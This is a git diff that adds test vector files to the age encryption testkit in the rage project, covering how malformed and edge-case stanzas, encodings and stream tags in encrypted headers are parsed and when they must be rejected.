X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-- stanza + +--- lpxzkyQGe/sA7F1yh4c6KVZV7//jANm5lYefTToioXs +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_base64_padding b/lib/rage/age/tests/testdata/testkit/stanza_base64_padding new file mode 100644 index 0000000..18ad2d2 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_base64_padding @@ -0,0 +1,12 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB +QUE= +--- OtG7IuNHaf2SHZuowmxg/fhbhtz0/DI5g5OGd7WH7S0 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_empty_argument b/lib/rage/age/tests/testdata/testkit/stanza_empty_argument new file mode 100644 index 0000000..cb9ef0b --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_empty_argument @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza argument + +--- bosBxVRBzKF9emyxQ9BERq7+D5JKU+lvbEsL8UHJ/SA +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_empty_body b/lib/rage/age/tests/testdata/testkit/stanza_empty_body new file mode 100644 index 0000000..cf8ec9b --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_empty_body @@ -0,0 +1,12 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> empty + +--- 697zSC9pa/ZLNIaXGtuwcUobmxv+Dpx48Hv0papk5c0 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_empty_last_line b/lib/rage/age/tests/testdata/testkit/stanza_empty_last_line new file mode 100644 index 0000000..30a6c8f --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_empty_last_line @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB +QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB + +--- cb4SqtunSJzXKDGjqeYxuva9Be80QXEDKDn2aKBaCsw +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_invalid_character b/lib/rage/age/tests/testdata/testkit/stanza_invalid_character new file mode 100644 index 0000000..d5c8b43 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_invalid_character @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza è + +--- sTIB/0Fc74rhpjC4RAxoR3E01eVTTnWruaD+c5QWjKI +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_long_line b/lib/rage/age/tests/testdata/testkit/stanza_long_line new file mode 100644 index 0000000..5435260 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_long_line @@ -0,0 +1,13 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: a body line is longer than 64 columns + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + +--- tnRUR2vmmU92czsjnioF5ujgXUetUhzUoQPPGT9wmug +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_missing_body b/lib/rage/age/tests/testdata/testkit/stanza_missing_body new file mode 100644 index 0000000..4c184c7 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_missing_body @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: every stanza must end with a short body line, even if empty + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> empty +--- CDgFIIJ1wE4CpW6zG+LVZ6/G/RCNTH6ZUVGp2NbeIkU +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_missing_final_line b/lib/rage/age/tests/testdata/testkit/stanza_missing_final_line new file mode 100644 index 0000000..58774f4 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_missing_final_line @@ -0,0 +1,12 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: every stanza must end with a short body line + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +--- GRjUy1ShNhFoV3cQikdtUZqDeDEZSrbtNXUgDtDbwC8 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_multiple_short_lines b/lib/rage/age/tests/testdata/testkit/stanza_multiple_short_lines new file mode 100644 index 0000000..e191764 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_multiple_short_lines @@ -0,0 +1,13 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: a short body line ends the stanza + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +--- ct87HSIMoTC4nUsQva+8AeKc2bK2q8b9sPjRhjuf1us +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_no_arguments b/lib/rage/age/tests/testdata/testkit/stanza_no_arguments new file mode 100644 index 0000000..a667ad9 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_no_arguments @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> + +--- B0qjnUjVajTa8I4Uia49g1c4DMQQN6u9m9QOSS1HLks +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_not_canonical b/lib/rage/age/tests/testdata/testkit/stanza_not_canonical new file mode 100644 index 0000000..f7794aa --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_not_canonical @@ -0,0 +1,12 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB +QUF +--- nQM2VCzmNLPrUurNWN+SW9wVp/9uTMQ/6CTUM7l8c84 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_spurious_cr b/lib/rage/age/tests/testdata/testkit/stanza_spurious_cr new file mode 100644 index 0000000..b85c2ce --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_spurious_cr @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +--- MZaFAh8ldzU0F88NJjLx5yd7fnd57XS5COowmgvQtXQ +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_valid_characters b/lib/rage/age/tests/testdata/testkit/stanza_valid_characters new file mode 100644 index 0000000..c506f30 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_valid_characters @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> !"#$%&' ()*+,-./ 01234567 89:;<=>? @ABCDEFG HIJKLMNO + +-> PQRSTUVW XYZ[\]^_ `abcdefg hijklmno pqrstuvw xyz{|}~ + +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- x538z9xJq9XEK1aTTTv80aWDVvVdROvaXn2tpqXPC8g +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_bad_tag b/lib/rage/age/tests/testdata/testkit/stream_bad_tag new file mode 100644 index 0000000..ce8189a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_bad_tag @@ -0,0 +1,10 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûF \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_bad_tag_second_chunk b/lib/rage/age/tests/testdata/testkit/stream_bad_tag_second_chunk new file mode 100644 index 0000000000000000000000000000000000000000..21ec15e069e914be95ed8fad68b68968c18d56e5 GIT binary patch literal 65982 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 